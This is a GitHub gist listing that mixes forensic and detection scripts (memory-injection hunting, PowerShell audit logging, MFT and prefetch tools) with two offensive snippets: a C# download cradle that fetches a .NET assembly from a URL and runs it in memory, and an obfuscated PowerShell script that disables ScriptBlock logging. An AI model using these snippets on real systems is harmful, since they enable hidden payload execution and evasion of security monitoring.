ih-4n6’s gists

cobbr / DotnetAssemblyDownloadCradle.cs

Created June 20, 2018 22:37

A download cradle for .NET assemblies.

public class Program { public static void Main(string[] args) { System.Reflection.Assembly.Load(new System.Net.WebClient().DownloadData(args[0])).GetTypes()[0].GetMethods()[0].Invoke(0, null); } }

gfoss / say.ps1

Created May 25, 2017 04:48

PowerShell Say

	function say {
	param( [string]$comment = $_ )
	[Reflection.Assembly]::LoadWithPartialName('System.Speech') \| Out-Null
	$object = New-Object System.Speech.Synthesis.SpeechSynthesizer
	$object.SelectVoiceByHints('Female')
	$object.Speak("$comment")
	}

cobbr / ScriptBlockLogBypass.ps1

Last active December 12, 2025 10:30

ScriptBlock Logging Bypass

	# ScriptBlock Logging Bypass
	# @cobbr_io

	$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static')
	If ($GroupPolicyField) {
	$GroupPolicyCache = $GroupPolicyField.GetValue($null)
	If ($GroupPolicyCache['ScriptB'+'lockLogging']) {
	$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0
	$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
	}

jaredcatkinson / Get-InjectedThread.ps1

Last active March 13, 2026 04:24

Code from "Taking Hunting to the Next Level: Hunting in Memory" presentation at SANS Threat Hunting Summit 2017 by Jared Atkinson and Joe Desimone

	function Get-InjectedThread
	{
	<#

	.SYNOPSIS

	Looks for threads that were created as a result of code injection.

	.DESCRIPTION

gfoss / PowerShell Command Line Logging

Last active January 10, 2025 19:49

Detect and alert on nefarious PowerShell command line activity

	# PowerShell Audit Logging for LogRhythm SIEM - 2015
	# For detecting dangerous PowerShell Commands/Functions

	Log Source Type:
	MS Event Log for Win7/Win8/2008/2012 - PowerShell

	Add this file to your PowerShell directory to enable verbose command line audit logging
	profile.ps1
	$LogCommandHealthEvent = $true
	$LogCommandLifeCycleEvent = $true

secabstraction / Export-MFT.ps1

Last active March 17, 2026 15:40

	function Export-MFT {
	<#
	.SYNOPSIS
	Extracts master file table from volume.

	Version: 0.1
	Author : Jesse Davis (@secabstraction)
	License: BSD 3-Clause

	.DESCRIPTION

dfirfpi / w10pfdecomp.py

Last active February 6, 2026 12:50

Windows 10 Prefetch (native) Decompress

	#!/usr/bin/python
	# -- coding: utf-8 --
	#
	# Copyright 2015, Francesco "dfirfpi" Picasso <francesco.picasso@gmail.com>
	#
	# Licensed under the Apache License, Version 2.0 (the "License");
	# you may not use this file except in compliance with the License.
	# You may obtain a copy of the License at
	#
	# http://www.apache.org/licenses/LICENSE-2.0

santa4nt / ioctl.py

Last active November 27, 2024 19:10

A Python-ctypes script to dispatch IOCTL in Windows

	#!C:\Python27\python.exe
	# The MIT License (MIT)
	#
	# Copyright © 2014-2016 Santoso Wijaya <santoso.wijaya@gmail.com>
	#
	# Permission is hereby granted, free of charge, to any person
	# obtaining a copy of this software and associated documentation files
	# (the "Software"), to deal in the Software without restriction,
	# including without limitation the rights to use, copy, modify, merge,
	# publish, distribute, sub-license, and/or sell copies of the Software,

aroben / pstree.ps1

Created May 8, 2013 18:34

Script to print a process tree on Windows

	$ProcessesById = @{}
	foreach ($Process in (Get-WMIObject -Class Win32_Process)) {
	$ProcessesById[$Process.ProcessId] = $Process
	}

	$ProcessesWithoutParents = @()
	$ProcessesByParent = @{}
	foreach ($Pair in $ProcessesById.GetEnumerator()) {
	$Process = $Pair.Value